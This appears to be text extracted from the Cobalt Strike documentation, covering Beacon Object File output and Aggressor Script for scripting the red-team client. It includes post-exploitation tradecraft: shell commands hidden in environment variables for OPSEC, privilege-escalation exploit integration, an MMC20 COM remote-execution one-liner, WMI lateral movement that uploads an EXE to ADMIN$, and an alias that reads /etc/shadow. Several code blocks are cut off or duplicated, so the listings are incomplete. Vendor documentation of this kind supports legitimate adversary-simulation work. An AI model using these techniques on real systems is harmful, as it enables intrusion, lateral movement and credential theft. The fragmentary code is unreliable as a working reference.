When a User Defined Reflective Loader provides Beacon User Data (BUD) during the loading
process, then this function will return a pointer to the custom buffer array associated with the
BUD. The size of this buffer array is fixed at 32 bytes, as defined in the USER_DATA structure. A
valid memory pointer is always returned. If no BUD is provided by the User Defined Reflective
Loader, then the pointer is to the default buffer array with all 32 values set to zero.
Without the BeaconFormat API, beacon will send the output back to you every time you use the
BeaconPrintf API call. This could lead to formatting that is less than ideal.
1 #include <windows.h>
2 #include "beacon.h"
3 #include "bofdefs.h"
4
5 void LoopExample()
6 {
7 int i;
8 for(i=0;i<11;i++)
9 {
10 BeaconPrintf(CALLBACK_OUTPUT,"counter is currently at %i",i);
11 }
12 }
13
14 void go(char * args, int len) {
15 LoopExample();
16 }
When the code is executed, you should see the following result:
As expected, the output is served back in chunks, displaying spacing in between even though a
new line character was not specified because BeaconPrintf automatically adds a new line for
you.
If you modify the Beacon Object File to use the Beacon Format API instead, you can gain more
control over what the output looks like with following steps:
1 #include <windows.h>
2 #include "beacon.h"
3 #include "bofdefs.h"
4
5 void LoopExampleWithFormatting()
6 {
7 //1. create the new buffer pointer
8 formatp buffer;
9
10 //2. allocate memory to hold the formatted data
11 BeaconFormatAlloc(&buffer,1024);
12
13 int i;
14 for(i=0;i<11;i++)
15 {
16 //3. instead of printing, we will now fill the buffer - notice the new line
character!
17 BeaconFormatPrintf(&buffer, "counter is currently at: %i\n",i);
18 }
19
20 //4. now that we have our filled up buffer, let's print it out
21 BeaconPrintf(CALLBACK_OUTPUT,"%s\n",BeaconFormatToString(&buffer,NULL));
22
23 //5. time to free up the buffer
24 BeaconFormatFree(&buffer);
25 }
26
27 void LoopExample()
28 {
29 int i;
30 for(i=0;i<11;i++)
31 {
32 BeaconPrintf(CALLBACK_OUTPUT,"counter is currently at %i",i);
33 }
34 }
35
36 void go(char * args, int len) {
37 LoopExampleWithFormatting();
38 }
When the code is executed, you should see the following result:
1 #include <windows.h>
2 #include "beacon.h"
3 #include "bofdefs.h"
4
5 HMODULE GetModHandle(LPCSTR module)
6 {
7 HMODULE hModule = KERNEL32$GetModuleHandleA(module);
8 return hModule ? hModule : KERNEL32$LoadLibraryA(module);
9 }
10
11 LPVOID GetMemptr(LPCSTR module, LPCSTR function)
12 {
13 HMODULE hModule = GetModHandle(module);
14 LPVOID memPtr = KERNEL32$GetProcAddress(hModule,function);
15 return memPtr? memPtr : NULL;
16 }
17
18 //format options: 1 decompile format, any other number - raw opcodes
19 void ReadvirtualMemory(LPCSTR module, LPCSTR function,int size, int format)
20 {
21 LPVOID memPtr = GetMemptr(module,function);
22 if(!memPtr)
23 {
24 BeaconPrintf(CALLBACK_ERROR,"no memptr found\n");
25 return;
26 }
27 else
28 {
29 formatp buffer;
30 BeaconFormatAlloc(&buffer,1024);
31 BYTE *readbuffer = (BYTE*)MSVCRT$malloc(size);
32 SIZE_T bytesread = 0;
33 KERNEL32$ReadProcessMemory((HANDLE)-1,memPtr,readbuffer,size,&bytesread);
34 BeaconFormatPrintf(&buffer, "showing the first %i opcodes of
%s!%s\n",size,module,function);
35
36 for(int i = 0; i < size; i++)
37 {
38 if(format == 1)
39 {
40 BeaconFormatPrintf(&buffer,"\\x%02X",readbuffer[i]);
41 }
42 else
43 {
44 BeaconFormatPrintf(&buffer,"%02X",readbuffer[i]);
45 }
46 }
47 BeaconPrintf(CALLBACK_OUTPUT,"%s\n",BeaconFormatToString(&buffer,NULL));
48 BeaconFormatFree(&buffer);
49 MSVCRT$free(readbuffer);
50 }
51 }
52 void go(char * args, int len) {
53 char* module;
54 char* function;
55 int size;
56 int format;
57 datap parser;
58 BeaconDataParse(&parser, args, len);
59 module = BeaconDataExtract(&parser,NULL);
60 function = BeaconDataExtract(&parser,NULL);
61 size = BeaconDataInt(&parser);
62 format = BeaconDataInt(&parser);
63 ReadvirtualMemory(module, function, size, format);
64 }
In this BOF, users have the option to read an arbitrary number of bytes of a function within the
current process and display it in specific formats. Using the BeaconFormatAPI, this becomes
trivial to do.
This makes it easy to copy paste the output and put it in a decompiler like so:
Others would rather have all the bytes right next to each other like so:
Aggressor Script
What is Aggressor Script?
Aggressor Script is the scripting language built into Cobalt Strike, version 3.0, and later.
Aggressor Script allows you to modify and extend the Cobalt Strike client.
History
Aggressor Script is the spiritual successor to Cortana, the open source scripting engine in
Armitage. Cortana was made possible by a contract through DARPA's Cyber Fast Track
program. Cortana allows its users to extend Armitage and control the Metasploit Framework
and its features through Armitage's team server. Cobalt Strike 3.0 is a ground-up rewrite of
Cobalt Strike without Armitage as a foundation. This change afforded an opportunity to revisit
Cobalt Strike's scripting and build something around Cobalt Strike's features. The result of this
work is Aggressor Script.
Aggressor Script is a scripting language for red team operations and adversary simulations
inspired by scriptable IRC clients and bots. Its purpose is two-fold. You may create long running
bots that simulate virtual red team members, hacking side-by-side with you. You may also use it
to extend and modify the Cobalt Strike client to your needs.
Status
Aggressor Script is part of Cobalt Strike 3.0's foundation. Most popup menus and the
presentation of events in Cobalt Strike 3.0 are managed by the Aggressor Script engine. That
said, Aggressor Script is still in its infancy. Strategic Cyber LLC has yet to build APIs for most of
Cobalt Strike's features. Expect to see Aggressor Script evolve over time. This documentation is
also a work in progress.
These arguments connect the headless Cobalt Strike client to the team server you specify. The
headless Cobalt Strike client presents the Aggressor Script console.
You may use agscript to immediately connect to a team server and run a script of your
choosing. Use:
This command will connect the headless Cobalt Strike client to a team server, load your script,
and run it. The headless Cobalt Strike client will run your script before it synchronizes with the
team server. Use on ready to wait for the headless Cobalt Strike client to finish the data
synchronization step.
on ready {
println("Hello World! I am synchronized!");
closeClient();
}
Aggressor Script builds on Raphael Mudge's Sleep Scripting Language. The Sleep manual is
available at http://sleep.dashnine.org/manual
l Sleep's syntax, operators, and idioms are similar to the Perl scripting language. There is
one major difference that catches new programmers. Sleep requires whitespace
between operators and their terms. The following code is not valid:
$x=1+2; # this will not parse!!
l Sleep variables are called scalars and scalars hold strings, numbers in various formats,
Java object references, functions, arrays, and dictionaries. Here are several
assignments in Sleep:
$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four");
$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
l Arrays and dictionaries are created with the @ and % functions. Arrays and dictionaries
may reference other arrays and dictionaries. Arrays and dictionaries may even reference
themselves.
l Comments begin with a # and go until the end of the line.
l Sleep interpolates double-quoted strings. This means that any white-space separated
token beginning with a $ sign is replaced with its value. The special variable $+
concatenates an interpolated string with another value.
println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
l There's a function called &warn. It works like &println, except it includes the current
script name and a line number too. This is a great function to debug code with.
l Sleep functions are declared with the sub keyword. Arguments to functions are labeled
$1, $2, all the way up to $n. Functions will accept any number of arguments. The
variable @_ is an array containing all of the arguments too. Changes to $1, $2, etc. will
alter the contents of @_.
sub addTwoValues {
println($1 + $2);
}
addTwoValues("3", 55.0);
l In Sleep, a function is a first-class type like any other object. Here are a few things that
you may see:
$addf = &addTwoValues;
l The $addf variable now references the &addTwoValues function. To call a function
enclosed in a variable, use:
[$addf : "3", 55.0];
l This bracket notation is also used to manipulate Java objects. I recommend reading the
Sleep manual if you're interested in learning more about this. The following statements
are equivalent and they do the same thing:
[$addf : "3", 55.0];
[&addTwoValues : "3", 55.0];
[{ println($1 + $2); } : "3", 55.0];
addTwoValues("3", 55.0);
l Sleep has three variable scopes: global, closure-specific, and local. The Sleep manual
covers this in more detail. If you see local('$x $y $z') in an example, it means that $x, $y,
and $z are local to the current function and their values will disappear when the function
returns. Sleep uses lexical scoping for its variables.
Sleep has all of the other basic constructs you'd expect in a scripting language. You should read
the manual to learn more about it.
Scripts may register commands as well. These commands allow scripts to receive a trigger
from the user through the console. Use the command keyword to register a command:
command foo{
println("Hello $1");
}
This code snippet registers the command foo. The script console automatically parses the
arguments to a command and splits them by whitespace into tokens for you. $1 is the first
token, $2 is the second token, and so on. Typically, tokens are separated by spaces but users
may use "double quotes" to create a token with spaces. If this parsing is disruptive to what you'd
like to do with the input, use $0 to access the raw text passed to the command.
Colors
You may add color and styles to text that is output in Cobalt Strike's consoles. The \c, \U, and
\o escapes tell Cobalt Strile how to format text. These escapes are parsed inside of double-
quoted strings only.
The \cX escape colors the text that comes after it. X specifies the color. Your color choices are:
The \U escape underlines the text that comes after it. A second \U stops the underline format.
The \o escape resets the format of the text that comes after it. A newline resets text formatting
as well.
Cobalt Strike
The Cobalt Strike Client
The Aggressor Script engine is the glue feature in Cobalt Strike. Most Cobalt Strike dialogs and
features are written as stand-alone modules that expose some interface to the Aggressor Script
engine.
An internal script, default.cna, defines the default Cobalt Strike experience. This script defines
Cobalt Strike's toolbar buttons, popup menus, and it also formats the output for most Cobalt
Strike events.
This chapter will show you how these features work and empower you to shape the Cobalt
Strike client to your needs.
Keyboard Shortcuts
Scripts may create keyboard shortcuts. Use the bind keyword to bind a keyboard shortcut. This
example shows Hello World! in a dialog box when Ctrl and H are pressed together.
bind Ctrl+H {
show_message("Hello World!");
}
Keyboard shortcuts may be any ASCII characters or a special key. Shortcuts may have one or
more modifiers applied to them. A modifier is one of: Ctrl, Shift, Alt, or Meta. Scripts may specify
the modifier+key.
Popup Menus
Scripts may also add to Cobalt Strike's menu structure or re-define it. The popup keyword builds
a menu hierarchy for a popup hook.
popup help {
item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });
item("&Support", { url_open("https://www.cobaltstrike.com/support"); });
item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); });
separator();
item("&Malleable C2 Profile", { openMalleableProfileDialog(); });
item("&System Information", { openSystemInformationDialog(); });
separator();
item("&About", { openAboutDialog(); });
}
This script hooks into the help popup hook and defines several menu items. The & in the menu
item name is its keyboard accelerator. The code block associated with each item executes
when the user clicks on it.
Scripts may define menus with children as well. The menu keyword defines a new menu. When
the user hovers over the menu, the block of code associated with it is executed and used to
build the child menu.
popup pgraph {
menu "&Layout" {
item "&Circle" { graph_layout($1, "circle"); }
item "&Stack" { graph_layout($1, "stack"); }
menu "&Tree" {
item "&Bottom" { graph_layout($1, "tree-bottom"); }
item "&Left" { graph_layout($1, "tree-left"); }
item "&Right" { graph_layout($1, "tree-right"); }
item "&Top" { graph_layout($1, "tree-top"); }
}
separator();
item "&None" { graph_layout($1, "none"); }
}
}
If your script specifies a menu hierarchy for a Cobalt Strike menu hook, it will add to the menus
that are already in place. Use the &popup_clear function to clear the other registered menu
items and re-define a popup hierarchy to your taste.
Custom Output
The set keyword in Aggressor Script defines how to format an event and present its output to
the user. Here's an example of the set keyword:
set EVENT_SBAR_LEFT {
return "[" . tstamp(ticks()) . "] " . mynick();
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}
The above code defines the content of the statusbar in Cobalt Strike's Event Log (View -> Event
Log). The left side of this statusbar shows the current time and your nickname. The right side
shows the round-trip time for a message between your Cobalt Strike client and the team server.
You may override any set option in the Cobalt Strike default script. Create your own file with
definitions for events you care about. Load it into Cobalt Strike. Cobalt Strike will use your
definitions over the built-in ones.
Events
Use the on keyword to define a handler for an event. The ready event fires when Cobalt Strike is
connected to the team server and ready to act on your behalf.
on ready {
show_message("Ready for action!");
}
Cobalt Strike generates events for a variety of situations. Use the * meta-event to watch all
events Cobalt Strike fires.
on * {
local('$handle $event $args');
$event = shift(@_);
$args = join(" ", @_);
$handle = openf(">>eventspy.txt");
writeb($handle, "[ $+ $event $+ ] $args");
closef($handle);
}
Data Model
Cobalt Strike's team server stores your hosts, services, credentials, and other information. It
also broadcasts this information and makes it available to all clients.
Data API
Use the &data_query function to query Cobalt Strike's data model. This function has access to
all state and information maintained by the Cobalt Strike client. Use &data_keys to get a list of
the different pieces of data you may query. This example queries all data in Cobalt Strike's data
model and exports it to a text file:
command export {
local('$handle $model $row $entry $index');
$handle = openf(">export.txt");
closef($handle);
Cobalt Strike provides several functions that make it more intuitive to work with the data model.
These functions return an array with one row for each entry in the data model. Each entry is a
dictionary with different key/value pairs that describe the entry.
The best way to understand the data model is to explore it through the Aggressor Script
console. Go to View -> Script Console and use the x command to evaluate an expression. For
example:
on keystrokes {
println("I have new keystrokes: $1");
}
Listeners
Listeners are Cobalt Strike's abstraction on top of payload handlers. A listener is a name
attached to payload configuration information (e.g., protocol, host, port, etc.) and, in some
cases, a promise to setup a server to receive connections from the described payload.
Listener API
Aggressor Script aggregates listener information from all of the team servers you're currently
connected to. This makes it easy to pass sessions to another team server. To get a list of all
listener names, use the &listeners function. If you would like to work with local listeners only, use
&listeners_local. The &listener_info function resolves a listener name to its configuration
information. This example dumps all listeners and their configuration to the Aggressor Script
console:
command listeners {
local('$name $key $value');
foreach $name (listeners()) {
println("== $name == ");
foreach $key => $value (listener_info($name)) {
println("$[20]key : $value");
}
}
}
Creating Listeners
Use &listener_create_ext to create a listener and start a payload handler associated with it.
Choosing Listeners
Use &openPayloadHelper to open a dialog that lists all available listeners. After the user selects
a listener, this dialog will close, and Cobalt Strike will run a callback function. Here's the source
code for Beacon's spawn menu:
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn $1");
bspawn($bids, $1);
}, $bids => $1));
}
Stagers
A stager is a tiny program that downloads a payload and passes execution to it. Stagers are
ideal for size-constrained payload delivery vector (e.g., a user-driven attack, a memory
corruption exploit, or a one-liner command. Stagers do have downsides though. They introduce
an additional component to your attack chain that is possible to disrupt. Cobalt Strike's stagers
are based on the stagers in the Metasploit Framework and these are well-signatured and
understood in memory as well. Use payload-specific stagers if you must; but it's best to avoid
them otherwise.
Use &stager to export a payload stager tied to a Cobalt Strike payload. Not all payload options
have an explicit payload stager. Not all stagers have x64 options.
The &artifact_stager function will export a PowerShell script, executable, or DLL that runs a
stager associated with a Cobalt Strike payload.
Local Stagers
For post-exploitation actions that require the use of a stager, use a localhost-only bind_tcp
stager. The use of this stager allows a staging-required post-exploitation action to work with all
of Cobalt Strike's payloads equally.
&artifact_general will accept this arbitrary code and generate a PowerShell script, executable, or
DLL to host it.
&artifact_general will accept this arbitrary code and generate a PowerShell script, executable, or
DLL to host it.
Stageless Payloads
Use &payload to export a Cobalt Strike payload (in its entirety) as a ready-to-run position-
independent program.
&artifact_payload will export a PowerShell script, executable, or DLL that containts this payload.
Beacon
Beacon is Cobalt Strike's asynchronous post-exploitation agent. In this chapter, we will explore
options to automate Beacon with Cobalt Strike's Aggressor Script.
Metadata
Cobalt Strike assigns a session ID to each Beacon. This ID is a random number. Cobalt Strike
associates tasks and metadata with each Beacon ID. Use &beacons to query metadata for all
current Beacon sessions. Use &beacon_info to query metadata for a specific Beacon session.
Here's a script to dump information about each Beacon session:
command beacons {
local('$entry $key $value');
foreach $entry (beacons()) {
println("== " . $entry['id'] . " ==");
foreach $key => $value ($entry) {
println("$[20]key : $value");
}
println();
}
}
Aliases
You may define new Beacon commands with the alias keyword. Here's a hello alias that prints
Hello World in a Beacon console.
alias hello {
blog($1, "Hello World!");
}
Put the above into a script, load it into Cobalt Strike, and open a Beacon console. Then enter in
the hello command and press enter. Cobalt Strike will even tab complete your aliases for you.
You should see Hello World! in the Beacon console.
Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments
without any parsing. $1 is the ID of the Beacon the alias was typed from. The arguments $2 and
on contain an individual argument passed to the alias. The alias parser splits arguments by
spaces. Users may use "double quotes" to group words into one argument.
alias saywhat {
blog($1, "My arguments are: " . substr($0, 8) . "\n");
}
You may also register your aliases with Beacon's help system. Use &beacon_command_register
to register a command.
Aliases are a convenient way to extend Beacon and make it your own. Aliases also play well into
Cobalt Strike's threat emulation role. You may use aliases to script complex post-exploitation
actions in a way that maps to another actor's tradecraft. Your red team operators simply need
to load a script, learn the aliases, and they can operate with your scripted tactics in a way that's
consistent with the actor you're emulating.
on beacon_initial {
# do some stuff
}
The beacon_initial event fires when a Beacon reports metadata for the first time. This means a
DNS Beacon will not fire beacon_initial until its asked to run a command. To interact with a DNS
Beacon that calls home for the first time, use the beacon_initial_empty event.
Popup Menus
You may also add on to Beacons popup menu. Aliases are nice, but they only affect one Beacon
at a time. Through a popup menu, your script's users may task multiple Beacons to take the
desired action at one time.
The beacon_top and beacon_bottom popup hooks let you add to the default Beacon menu.
The argument to the Beacon popup hooks is an array of selected Beacon IDs.
popup beacon_bottom {
item "Run All..." {
prompt_text("Which command to run?", "whoami /groups", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
Acknowledging Tasks
Custom aliases should call the &btask function to describe the action the user asked for. This
output is sent to the Beacon log and it's also used in Cobalt Strike's reports. Most Aggressor
Script functions that issue a task to Beacon will print their own acknowledgement message. If
you'd like to suppress this, add ! to the function name. This will run the quiet variant of the
function. A quiet function does not print a task acknowledgement. For example, &bshell! is the
quiet variant of &bshell.
alias survey {
btask($1, "Surveying the target!", "T1082");
bshell!($1, "echo Groups && whoami /groups");
bshell!($1, "echo Processes && tasklist /v");
bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
bshell!($1, "echo System Info && systeminfo");
}
https://attack.mitre.org/
alias powershell {
local('$args $cradle $runme $cmd');
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
This alias defines a powershell command for use within Beacon. We use $0 to grab the desired
PowerShell string without any parsing. It's important to account for an imported PowerShell
script (if the user imported one with powershell-import). We use &beacon_host_imported_script
for this. This function tasks Beacon to host an imported script on a one-off webserver bound to
localhost. It also returns a string with the PowerShell download cradle that downloads and
evaluates the imported script. The -EncodedCommand flag in PowerShell accepts a script as a
base64 string. There's one wrinkle. We must encode our string as little endian UTF16 text. This
alias uses &str_encode to do this. The &btask call logs this run of PowerShell and associates it
with tactic T1086. The &beacon_execute_job function tasks Beacon to run powershell and
report its output back to Beacon.
Similarly, we may re-define the shell command in Beacon too. This alias creates an alternate
shell command that hides your Windows commands in an environment variable.
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
The &btask call logs our intention and associates it with tactic T1059. The &bsetenv assigns our
Windows command to the environment variable _. The script uses ! to suppress &bsetenv's task
acknowledgement. The &beacon_execute_job function runs %COMSPEC% with argumnents /C
%_%. This works because &beacon_execute_job will resolve environment variables in the
command parameter. It does not resolve environment variables in the argument parameter.
Because of this, we can use %COMSPEC% to locate the user's shell, but pass %_% as an
argument without immediate interpolation.
This code registers the elevator ms16-032 with Beacon's runasadmin command. A description
is given as well. When the user types runasadmin ms16-032 notepad.exe, Cobalt Strike will
run &ms16_032_elevator with these arguments: $1 is the beacon session ID. $2 is the
command and arguments. Here's the &ms16_032_elevator function:
# Integrate ms16-032
# Sourced from Empire:
https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
local('$handle $script $oneliner');
This function uses &btask to acknowledge the action to the user. The description in &btask will
go in Cobalt Strike's logs and reports as well. T1068 is the MITRE ATT&CK technique that
corresponds to this action.
The end of this function uses &bpowerpick to run Invoke-MS16032 with an argument to run
our command. The PowerShell script that implements Invoke-MS16032 is too large for a one-
liner though. To mitigate this, the elevator function uses &beacon_host_script to host the large
script within Beacon. The &beacon_host_script function returns a one-liner to grab this hosted
script and evaluate it.
The exclamation point after &bpowerpick tells Aggressor Script to call the quiet variants of this
function. Quiet functions do not print a task description.
There's not much else to describe here. A command elevator script just needs to run a
command. :)
This code registers the exploit ms15-051 with Beacon's elevate command. A description is
given as well. When the user types elevate ms15-051 foo, Cobalt Strike will run &ms15_051_
exploit with these arguments: $1 is the beacon session ID. $2 is the listener name (e.g., foo).
Here's the &ms15_051_exploit function:
else {
$arch = "x86";
$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");
}
This function uses &btask to acknowledge the action to the user. The description in &btask will
go in Cobalt Strike's logs and reports as well. T1068 is the MITRE ATT&CK technique that
corresponds to this action.
This function repurposes an exploit from the Metasploit Framework. This exploit is compiled as
cve-2015-1701.[arch].dll with x86 and x64 variants. This function's first task is to read the
exploit DLL that corresponds to the target system's architecture. The -is64 predicate helps with
this.
The &payload function generates raw output for our listener name and the specified
architecture.
The &bdllspawn function spawns a temporary process, injects our exploit DLL into it, and
passes our exported payload as an argument. This is the contract the Metasploit Framework
uses to pass shellcode to its privilege escalation exploits implemented as Reflective DLLs.
Finally, this function calls &beacon_link. If the target listener is an SMB or TCP Beacon payload,
&beacon_link will attempt to connect to it.
This code registers the remote-exec method com-mmc20 with Beacon's remote-exec
command. A description is given as well. When the user types remote-exec com-mmc20
c:\windows\temp\malware.exe, Cobalt Strike will run &mmc20_exec_method with these
arguments: $1 is the beacon session ID. $2 is the target. $3 is the command and arguments.
Here's the &mmc20_exec_method function:
sub mmc20_exec_method {
local('$script $command $args');
This function uses &btask to acknowledge the task and describe it to the operator (and logs and
reports). T1175 is the MITRE ATT&CK technique that corresponds to this action. If your offense
technique does not fit into MITRE ATT&CK, don't fret. Some customers are very much ready for
a challenge and benefit when their red team creatively deviates from what are known offense
techniques. Do consider writing a blog post about it for the rest of us later.
This function then splits the $3 argument into command and argument portions. This is done
because the technique requires that these values are separate.
Afterwards, this function builds up a PowerShell command string that looks like this:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application",
"TARGETHOST")).Document.ActiveView.ExecuteShellCommand
("c:\windows\temp\a.exe", $null, "", "7");
This command uses the MMC20.Application COM object to execute a command on a remote
target. This method was discovered as a lateral movement option by Matt Nelson:
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-
object/
This function uses &bpowershell to run this PowerShell script. The second argument is an
empty string to suppress the default download cradle (if the operator ran powershell-import
previously). If you prefer, you could modify this example to use &bpowerpick to run this one-liner
without powershell.exe.
This example is one of the major motivators for me to add the remote-exec command and API
to Cobalt Strike. This is an excellent "execute this command" primitive, but end-to-end
weaponization (spawning a session) usually includes using this primitive to run a PowerShell
one-liner on target. For a lot of reasons, this is not the right choice in many engagements.
Exposing this primitive through the remote-exec interface gives you a choice about how to best
make use of this capability (without forcing choices you don't want made for you).
The above functions register wmi and wmi64 options for use with the jump command. The
&lambda function makes a copy of &wmi_remote_spawn and sets $arch as a static variable
scoped to that function copy. Using this method, we're able to use the same logic to present two
lateral movement options from one implementation. Here's the &wmi_remote_spawn function:
# generate an EXE. $arch defined via &lambda when this function was registered with
# beacon_remote_exploit_register
$exedata = artifact_payload($3, "exe", $arch);
The &btask function fulfills our obligation to log what the user intended to do. The T1047
argument associates this action with Tactic 1047 in MITRE's ATT&CK matrix.
The &artfiact_payload function generates a stageless artifact to run our payload. It uses the
Artifact Kit hooks to generate this file.
The &bupload_raw function uploads the artifact data to the target. This function uses
\\target\ADMIN$\filename.exe to directly write the EXE to the remote target via an admin-only
share.
SSH Sessions
Cobalt Strike's SSH client speaks the SMB Beacon protocol and implements a sub-set of
Beacon's commands and functions. From the perspective of Aggressor Script, an SSH session
is a Beacon session with fewer commands.
sessions (SSH sessions AND Beacon sessions). Use the -isssh predicate to test if a session is
an SSH session. The -isbeacon predicate tests if a session is a Beacon session.
sub ssh_sessions {
return map({
if (-isssh $1['id']) {
return $1;
}
else {
return $null;
}
}, beacons());
}
Aliases
You may add commands to the SSH console with the ssh_alias keyword. Here's a script to alias
hashdump to grab /etc/shadow if you're an admin.
ssh_alias hashdump {
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
else {
berror($1, "You're (probably) not an admin");
}
}
Put the above into a script, load it into Cobalt Strike, and type hashdump inside of an SSH
console. Cobalt Strike will tab complete SSH aliases too.
You may also use the &ssh_alias function to define an SSH alias.
Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments
without any parsing. $1 is the ID of the session the alias was typed from. The arguments $2 and
on contain an individual argument passed to the alias. The alias parser splits arguments by
spaces. Users may use "double quotes" to group words into one argument.
You may also register your aliases with the SSH console's help system. Use &ssh_command_
register to register a command.
Aggressor Scripts may react to new SSH sessions too. Use the ssh_initial event to setup
commands that should run when a SSH session becomes available.
on ssh_initial {
# do some stuff
}
Popup Menus
You may also add on to the SSH popup menu. The ssh popup hook lets you add items to the
SSH menu. The argument to the SSH popup menu is an array of selected session IDs.
popup ssh {
item "Run All..." {
prompt_text("Which command to run?", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
You'll notice that this example is very similar to the example used in the Beacon chapter. For
example, I use &binput to publish input to the SSH console. I use &bshell to task the SSH
session to run a command. This is all correct. Remember, internally, an SSH session is a
Beacon session as far as most of Cobalt Strike/Aggressor Script is concerned.
Other Topics
Cobalt Strike operators and scripts communicate global events to the shared event log.
Aggressor Scripts may respond to this information too. The event log events begin with
event_. To list for global notifications, use the event_notify hook.
on event_notify {
println("I see: $1");
}
To post a message to the shared event log, use the &say function.
say("Hello World");
To post a major event or notification (not necessarily chit-chat), use the &elog function. The
deconfliction server will automatically timestamp and store this information. This information
will also show up in Cobalt Strike's Activity Report.
Timers
If you'd like to execute a task periodically, then you should use one of Aggressor Script's timer
events. These events are heartbeat_X, where X is 1s, 5s, 10s, 15s, 30s, 1m, 5m, 10m, 15m, 20m,
30m, or 60m.
on heartbeat_10s {
println("I happen every 10 seconds");
}
Dialogs
Aggressor Script provides several functions to present and request information from the user.
Use &show_message to prompt the user with a message. Use &show_error to prompt the user
with an error.
bind Ctrl+M {
show_message("I am a message!");
}
Use &prompt_text to create a dialog that asks the user for text input.
The &prompt_confirm function is similar to &prompt_text, but instead it asks a yes/no question.
Custom Dialogs
Aggressor Script has an API to build custom dialogs. &dialog creates a dialog. A dialog consists
of rows and buttons. A row is a label, a row name, a GUI component to take input, and possibly a
helper to set the input. Buttons close the dialog and trigger a callback function. The argument to
the callback function is a dictionary mapping each row's name to the value in its GUI
component that takes input. Use &dialog_show to show a dialog, once it's built.
Here's a dialog that looks like Site Management -> Host File from Cobalt Strike:
sub callback {
println("Dialog was actioned. Button: $2 Values: $3");
}
dbutton_action($dialog, "Launch");
dbutton_help($dialog, "https://www.cobaltstrike.com/help-host-file");
dialog_show($dialog);
Let's walk through this example: The &dialog call creates the Host File dialog. The second
parameter to &dialog is a dictionary that sets default values for the uri, port, and mimetype
rows. The third parameter is a reference to a callback function. Aggressor Script will call this
function when the user clicks the Launch button. &dialog_description places a description at the
top of the dialog. This dialog has five rows. The first row, made by &drow_file, has the label "File:",
the name "file", and it takes input as a text field. There is a helper button to choose a file and
populate the text field. The others rows are conceptually similar. &dbutton_action and
&dbutton_help create buttons that are centered at the bottom of the dialog. &dialog_show
shows the dialog.
Callbacks
A callback is used to allow the user to get access to the result and do additional processing on
the information. Cobalt Strike and Aggressor Script uses the concept of callbacks because of
the asynchronous behavior of sending a task to beacon and the response being received
sometime in the future based on the current sleep time. They are also used when dealing with
custom dialogs in order to perform additional actions based on information from the dialog
input and action button.
Once your asynchronous callback is executed you can then perform the necessary operations
to process the result for your use case. Here are some examples of what you can do with the
result:
A callback function will have arguments and in most cases will have the same arguments,
however there are some exceptions. You should always refer to the aggressor script function
documentation to understand what arguments are being passed to your callback.
Both the client and teamserver save requests that have associated callbacks in a queue. A
request is eventually removed in order to maintain the number of request in the queue. A
request is removed when these two conditions occur.
The first condition is when the originating client disconnects from the teamserver. When this
happens the queue managed by the client is removed as the queue is per teamserver
connection. The queue on the teamserver will see the originating client has disconnected and
flag any requests for that client to be removed. This means the originating client needs to stay
connected to the teamserver until the command with a callback has completed. Otherwise, any
responses from Beacon after a disconnection from the originating client will be lost.
The second condition is when there is no responses for a request after a period of time. There
are two timeout settings that determine if a request should be removed. The first setting is the
limits.callback_max_timeout which defaults to 1 day, which is used to wait for the initial
response. The second setting is the limits.callback_keep_timeout which defaults to 1 hour,
which is used to wait for subsequent responses. These settings can be modified by updating
the TeamServer.prop file. In most use cases the defaults should be fine, however if you create a
command that is a long-running job/task then these settings may need to be adjusted. The
adjusted settings need to be based on how often data will be received, which needs to account
for beacon's sleep time and how often the job/task sends data.
If you see error(s) like the following in the teamserver console window then this can indicate the
settings need to be adjusted or the originating client has disconnected from the teamserver.
The TeamServer.prop file is not included in the Cobalt Strike distribution. The current default
file can be found on Github (https://github.com/Cobalt-Strike/teamserver-prop).
Callback Implementation
Aggressor script callbacks can be implemented using a few different techniques and in many
cases the technique used is based on personal preference. There are some use cases where
you will want to choose a particular technique in order to accomplish the task. The following
type of techniques can be used followed by simple snippets of code:
l Anonymous Closure
l Named Closure
l Lambda Closure
Examples of aggressor script functions that support the use of a callback function can be found
on Github (https://github.com/Cobalt-Strike/callback_examples).
alias cs_example {
# User setup code removed for brevity
beacon_inline_execute($bid, $data, "go", $args, { blog($1, $2); });
}
Custom Reports
Cobalt Strike uses a domain-specific language to define its reports. This language is similar to
Aggressor Script but does not have access to most of its APIs. The report generation process
happens in its own script engine isolated from your client.
The report script engine has access to a data aggregation API and a few primitives to specify
the structure of a Cobalt Strike report.
Loading Reports
Go to Cobalt Strike -> Preferences -> Reports to load a custom report. Press the Folder icon
and select a .rpt file. Press Save. You should now see your custom report under the Reporting
menu in Cobalt Strike.
Report Errors
If Cobalt Strike had trouble with your report (e.g., a syntax error, runtime error, etc.) this will show
up in the script console. Go to View -> Script Console to see these messages.
page "rest" {
# hello world paragraph
p("Hello World!");
}
}
Aggressor Script defines new reports with the report keyword followed by a report name and a
block of code. Use the page keyword within a report block to define which page template to use.
Content for a page template may span multiple pages. The first page template is the cover of
Cobalt Strike's reports. This example uses &h1 to print a title heading. The &ts function prints a
date/time stamp for the report. And the &p function prints a paragraph.
